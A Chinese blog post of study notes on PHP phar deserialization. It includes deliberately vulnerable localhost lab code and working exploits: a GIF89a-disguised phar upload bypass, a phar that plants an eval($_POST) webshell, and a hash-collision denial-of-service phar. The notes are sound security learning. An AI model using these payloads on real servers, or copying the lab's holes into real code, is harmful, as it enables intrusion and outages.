phar反序列化漏洞学习
被大师傅问到了说不出,菜菜呜呜
一、漏洞原理
1.1 phar文件格式
php 反序列化漏洞通常是将序列化后的字符串传入 unserialize() 函数造成的,而这里的 phar 反序列化漏洞利用的是 phar 会以序列化的形式存储用户自定义的 meta-data 特性。维基百科解释的 phar 文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发。
phar 文件由四部分构成:
1. stub
可以理解为 phar 文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,否则无法识别。xxx 可以为自定义内容。
2. manifest
phar 文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的 meta-data,这是漏洞利用最核心的地方。
3. content
被压缩文件的内容
4. signature (可空)
签名,放在末尾。
1.2 phar文件生成
php 内置了一个 Phar 类来处理相关操作,可以将 php.ini 中的 phar.readonly 选项设置为 Off 自己生成一个 phar 文件
执行这个 phar.php 文件生成一个 phar.phar 文件
<?php class TestObject { } @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $o = new TestObject(); $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>
phar.phar 中 meta-data 的内容以序列化的形式存储
有序列化的数据那也必然有反序列化操作,php 一大部分的文件系统函数在通过 phar:// 伪协议解析 phar 文件时,都会将 meta-data 进行反序列化,seaii@知道创宇404实验室测试出如下受影响的函数,zxc 师傅又给出了很多其他利用方式 https://blog.zsxsoft.com/post/38
二、漏洞利用实例
2.1 漏洞利用条件
1.phar 文件要能够上传到服务器端
2.要有可用的魔术方法作为跳板
3.文件操作函数的参数可控,且 “:”、“/”、“phar” 等特殊字符没有被过滤
2.2 文件上传绕过格式限制
php 识别 phar 文件是通过其文件头的 stub,更确切一点来说是 __HALT_COMPILER();?> 这段代码,对前面的内容或者后缀名是没有要求的。那么就可以通过添加任意的文件头和修改后缀名的方式将 phar 文件伪装成其他格式的文件
实例 demo 参考写在最下面了
- 上传文件表单:upload.html
- 后端校验页面:upload.php(校验文件内容和文件后缀是否为 gif)
- 漏洞页面:index.php(存在 file_exists() 和 __destruct() 函数)
- 新建目录:upload_file(存储上传成功的文件)
upload.html
<!DOCTYPE html> <html> <head> <title>upload file</title> </head> <body> <form action="http://127.0.0.1/upload.php" method="post" enctype="multipart/form-data"> <input type="file" name="file" /> <input type="submit" name="upload" /> </form> </body> </html>
upload.php
<?php if(($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif'){ echo "Upload: " . $_FILES["file"]["name"]; echo "Type: " . $_FILES["file"]["type"]; echo "Temp file: " . $_FILES["file"]["tmp_name"]; if(file_exists("upload_file/" . $_FILES["file"]["name"])){ echo $_FILES["file"]["name"] . " already exists. "; }
else{ move_uploaded_file($_FILES["file"]["tmp_name"], "upload_file/" . $_FILES["file"]["name"]); echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"]; } }
else{ echo "Invalid file, you can only upload gif"; }
index.php
<?php class TestObject{ var $data = 'echo "Hello World";'; function __destruct() { eval($this -> data); } } if ($_GET["file"]){ file_exists($_GET["file"]); }
实验过程:
1.文件内容为 gif 的校验可以通过在文件头部添加 GIF89a 绕过,文件后缀为 gif 的校验可以先生成一个 phar 文件,再修改后缀
<?php class TestObject { } $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub $o = new TestObject(); $o -> data='phpinfo();'; //控制TestObject中的data为phpinfo()。 $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>
2.成功上传到 upload_file 目录下
3.访问 http://127.0.0.1/index.php?file=phar://upload_file/phar.gif,成功执行 phpinfo();
2.3 getshell
生成 phar_shell.phar 文件
<?php class TestObject { } $phar = new Phar("phar_shell.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub $o = new TestObject(); $o -> data='eval(@$_POST[\'apple\']);'; //控制TestObject中的data为一句话木马 $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>
上传步骤和 2.2 一样,shell 连接地址 http://127.0.0.1/index.php?file=phar://upload_file/phar_shell.gif
2.4 配合PHP内核哈希表碰撞攻击
漏洞原理:在PHP内核中,数组是以哈希表的方式实现的,攻击者可以通过巧妙的构造数组元素的 key 使哈希表退化成单链表(时间复杂度从O(1) => O(n))来触发拒绝服务攻击
实验过程:
1.生成恶意 phar 文件
<?php set_time_limit(0); $size= pow(2, 16); $array = array(); for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) { $array[$key] = 0; } $new_obj = new stdClass; $new_obj->hacker = $array; $p = new Phar(__DIR__ . '/phar_ddos.phar', 0); $p['hacker.php'] = '<?php ?>'; $p->setMetadata($new_obj); $p->setStub('<?php __HALT_COMPILER();?>'); ?>
2.测试漏洞效果
<?php set_time_limit(0); $startTime = microtime(true); file_exists("phar://phar_ddos.phar"); $endTime = microtime(true); echo 'Time comsumption: '.($endTime - $startTime). ' s'; ?>
3.访问 http://127.0.0.1/ddos.php 耗时 4.6 秒
三、总结
在写这篇文件包含与伪协议 https://www.cnblogs.com/wkzb/p/15628219.html 小笔记的时候提到了一下 phar 的反序列化,但是没好好学习,终于补上啦,最近特别爱玩,上班的时候听见师傅们讨论学习进度插不进话,呜呜呜呜呜哇我学还不行嘛!
参考文章:
https://paper.seebug.org/680/
https://www.freebuf.com/articles/web/205943.html
https://threezh1.com/2019/09/09/phar%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/